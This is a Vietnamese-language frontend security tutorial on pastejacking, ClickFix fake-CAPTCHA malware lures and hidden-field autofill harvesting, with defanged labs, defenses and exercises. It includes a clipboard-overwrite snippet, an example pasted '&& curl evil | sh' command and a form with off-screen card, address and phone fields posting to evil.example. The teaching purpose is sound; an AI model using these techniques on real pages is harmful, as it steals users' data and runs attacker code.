Web Security for Frontend Devs · Part 19 — Clipboard & Autofill Attacks
Bonus track: pastejacking rewrites what you copy, the 2024–25 ClickFix wave tricks users into pasting malware into a terminal, and hidden form fields harvest autofill data. The mechanisms, defenses, a live lab, and exercises.
Phần 19 — Nhánh bonus trong series Web Security for Frontend Devs. Trước:
Phần lớn series này tấn công trang. Phần này tấn công đôi tay người dùng — hai thao tác hằng ngày mà một trang có thể âm thầm biến thành vũ khí: copy/paste và autofill. Không cái nào cần XSS trên site bạn. Chúng là thao túng niềm tin thuần túy, và chịu trách nhiệm cho một mảng lớn malware 2024–2025.
Tấn công 1 — pastejacking (copy ≠ thứ nhận được)
Khi bạn copy, trang có thể bắt copy event và thay thứ thực sự vào clipboard:
// the entire technique — defanged
document.addEventListener("copy", (e) => {
e.preventDefault();
e.clipboardData.setData("text/plain", "totally different text");
});
Không prompt xin quyền, không API đặc biệt — copy event nổ từ chính cử chỉ người dùng, và setData ghi đè vùng chọn. Lạm dụng kinh điển: trang docs hiện npm install … vô hại, bạn copy, nhưng clipboard chứa thêm && curl evil | sh. Dán vào terminal là bạn đã chạy code chưa từng thấy.
Điểm lộ: văn bản hiển thị và văn bản clipboard khác nhau. Luôn dán lệnh vào editor thường trước — đừng dán thẳng vào shell.
Tấn công 2 — ClickFix / FileFix (dán-là-dính)
Pastejacking lên quy mô công nghiệp năm 2024. Mẫu ClickFix (và biến thể FileFix) giờ là một trong những kỹ thuật phát tán malware phổ biến nhất:
1. Victim lands on a compromised/lookalike page → a fake CAPTCHA or "fix this error" prompt.
2. Clicking "I'm not a robot" runs JS that COPIES a PowerShell command to the clipboard.
3. The page instructs: "Press Win+R, then Ctrl+V, then Enter" (or Win+X → Terminal,
or paste into the File Explorer address bar — the FileFix variant).
4. The victim pastes attacker code into a shell and runs it themselves → infostealer / RAT.
Cái hay — và đáng sợ — là người dùng tự chạy lệnh, nên nó né sandbox trình duyệt, cảnh báo tải về, và phần lớn kiểm soát phía server. Các chiến dịch như ClearFake dùng cách này để thả infostealer (vd Lumma) trên hàng chục ngôn ngữ.
Quy tắc duy nhất cần dạy mọi người: xác minh con người thật không bao giờ bảo bạn dán gì vào Run, PowerShell, Terminal, hay đường dẫn file.
Tấn công 3 — thu hoạch autofill ẩn
Autofill của trình duyệt và password manager hoạt động trên cả form, không chỉ field bạn thấy. Trang độc hiện hai field vô hại và giấu phần còn lại ngoài màn hình:
<form action="https://evil.example/collect">
<input name="name" autocomplete="name">
<input name="email" autocomplete="email">
<!-- pushed off-screen, not display:none -->
<input name="cc" autocomplete="cc-number" style="position:absolute;left:-9999px">
<input name="address" autocomplete="street-address" style="opacity:0">
<input name="tel" autocomplete="tel">
</form>
Bạn autofill tên và email; trình duyệt âm thầm điền cả số thẻ, địa chỉ, số điện thoại, rồi tất cả gửi cho kẻ tấn công. Nghiên cứu cho thấy cả trình duyệt và password manager lớn đều điền field bị ẩn bằng vị trí ngoài màn hình, độ trong suốt, hay mẹo visibility (riêng display:none thường bị bỏ qua). Trình duyệt dần thêm kiểm tra hiển thị trong viewport, nhưng độ phủ chưa đều.
Thử ngay — lab clipboard & autofill
Ba panel: (1) hộp pastejacking thật; (2) mồi ClickFix mô phỏng; (3) form thu hoạch autofill. Không gì được thực thi hay gửi đi.
Mở demo đầy đủ:
Lab thực hành — tái hiện an toàn
Phục vụ qua HTTP để clipboard/autofill hoạt động bình thường.
Chuẩn bị chung
mkdir -p /tmp/clip && cd /tmp/clip
python3 -m http.server 5000 >/dev/null 2>&1 & # or: npx serve -p 5000 .
echo "open http://localhost:5000/"
Lab 1 — pastejacking
cat > /tmp/clip/paste.html <<'EOF'
<!doctype html><meta charset="utf-8"><title>copy me</title>
<p>Copy this “safe” command:</p>
<pre id="cmd">npm install cool-lib</pre>
<p>Now paste it here: <textarea rows="3" cols="60"></textarea></p>
<script>
document.addEventListener("copy", (e) => {
e.preventDefault();
// harmless stand-in — the point is clipboard != what you saw
e.clipboardData.setData("text/plain", "npm install cool-lib # + echo PWNED");
});
</script>
EOF
Mở paste.html, chọn lệnh, copy, dán — clipboard có thêm payload bạn chưa từng chọn.
Đã chứng minh: copy event ghi lại clipboard không cần prompt.
Lab 2 — thu hoạch autofill ẩn
cat > /tmp/clip/autofill.html <<'EOF'
<!doctype html><meta charset="utf-8"><title>newsletter</title>
<form id="f" action="javascript:void(0)">
<label>Name <input name="name" autocomplete="name"></label><br>
<label>Email <input name="email" autocomplete="email"></label><br>
<!-- hidden off-screen, still autofilled by many UAs -->
<input name="tel" autocomplete="tel" style="position:absolute;left:-9999px">
<input name="address" autocomplete="street-address" style="position:absolute;left:-9999px">
<button>Subscribe</button>
</form>
<pre id="out"></pre>
<script>
f.addEventListener("submit", () => {
const d = Object.fromEntries(new FormData(f));
out.textContent = "would POST: " + JSON.stringify(d, null, 2);
});
</script>
EOF
Mở autofill.html trong trình duyệt có profile autofill địa chỉ, bấm field Name, nhận autofill, rồi Subscribe. Output có tel và address bạn chưa từng thấy. Hành vi khác nhau theo trình duyệt/manager — chính sự khác biệt đó là điểm cần thấy.
Đã chứng minh: autofill xử lý cả form, gồm field ngoài màn hình.
Dọn dẹp
kill %1 2>/dev/null; rm -rf /tmp/clip
Phòng thủ
Nếu bạn làm nút “copy” hay render lệnh
- Đặt clipboard đúng chuỗi hiển thị trong handler của bạn.
- Render lệnh dạng text thường, tránh ký tự ẩn / zero-width.
- Rà script bên thứ ba có thể gắn
copylistener.
Bảo vệ người dùng khỏi ClickFix
- Giáo dục là chính: không dán vào Run/PowerShell/Terminal/đường dẫn từ trang web.
- Phía tổ chức: hạn chế Run dialog, PowerShell constrained-language, rule EDR, kiểm soát trình duyệt cờ copy độc hại.
- Nếu sản phẩm bạn hiện lệnh, đừng kèm hướng dẫn “Win+R rồi dán” — bạn đang luyện thói quen dính bẫy.
Chặn thu hoạch autofill trong form
- Đừng thêm field nhạy cảm không hiển thị; field không hiện thì đừng để trong form autofill.
- Dùng
autocompleteđúng và tối thiểu; đặtautocomplete="off"cho field không nên autofill. - Thay mật khẩu bằng passkeys / WebAuthn khi có thể.
- Giữ form login khỏi clickjacking/overlay (nhớ Phần 7).
Checklist phòng tránh
- Trong copy handler, ghi đúng text hiển thị; rà
copylistener. - Dạy: dán lệnh vào editor trước.
- Không site hợp pháp nào bảo dán vào Run/Terminal.
- Form: không field nhạy cảm ẩn;
autocompleteđúng. - Ưu tiên passkeys/WebAuthn.
- Kiểm soát tổ chức: hạn chế Run/PowerShell, EDR + phát hiện trình duyệt.
Bài tập / Exercises
1. Site docs có nút “copy” cạnh lệnh cài. Tối thiểu phải làm gì để script analytics bên thứ ba không pastejack được?
Lời giải
Handler nút đặt clipboard đúng chuỗi hiển thị, và trang không có copy listener toàn cục ghi đè. Rà script bên thứ ba — giới hạn bằng SRI/CSP.
2. Vì sao ClickFix né hoàn toàn cảnh báo tải về và phần lớn phòng thủ phía server?
Lời giải
Vì người dùng tự chạy lệnh trong shell cục bộ — code độc không đi như một download bị cờ hay request server soi được; trình duyệt chỉ đặt text lên clipboard. Phòng thủ chuyển sang giáo dục + kiểm soát endpoint.
3. Trong lab autofill, kẻ tấn công dùng position:absolute;left:-9999px thay vì display:none. Vì sao, và form bạn nên làm gì?
Lời giải
Nhiều UA bỏ qua display:none nhưng vẫn điền field ngoài màn hình/trong suốt. Form bạn không nên có field nhạy cảm ẩn, dùng autocomplete đúng/tối thiểu, đặt autocomplete="off" khi cần.
Nâng cao:Trong lab, bật “Apply fix” và giải thích một câu UA kiểm tra hiển thị làm khác gì.
Điểm chính
copylistener +setDatakhiến clipboard khác thứ bạn thấy.- mồi CAPTCHA giả khiến người dùng dán vào Run/Terminal — né trình duyệt vì người dùng chạy.
- field ẩn ngoài màn hình bị autofill và gửi đi.
- Phòng thủ: copy handler tường minh, giáo dục,
autocompleteđúng, không field ẩn, passkeys.
Nguồn
- Dylan Ayrey — original pastejacking write-up.
- Palo Alto Unit 42 — Preventing the ClickFix attack vector; Sekoia — ClearFake’s ClickFix variant.
- MDN — Clipboard API and the
copyevent. - WHATWG/W3C — prevent autofill of hidden fields; USENIX/CCS — privacy threats of browser form autofill.
Series
Các phần bonus trên nền mười phần lõi và nhánh nâng cao. Sợi chỉ từ Phần 10: mọi kênh người dùng chạm tới — input, link, clipboard, autofill — đều trong tầm kẻ tấn công; thiết kế sao cho đường an toàn là mặc định.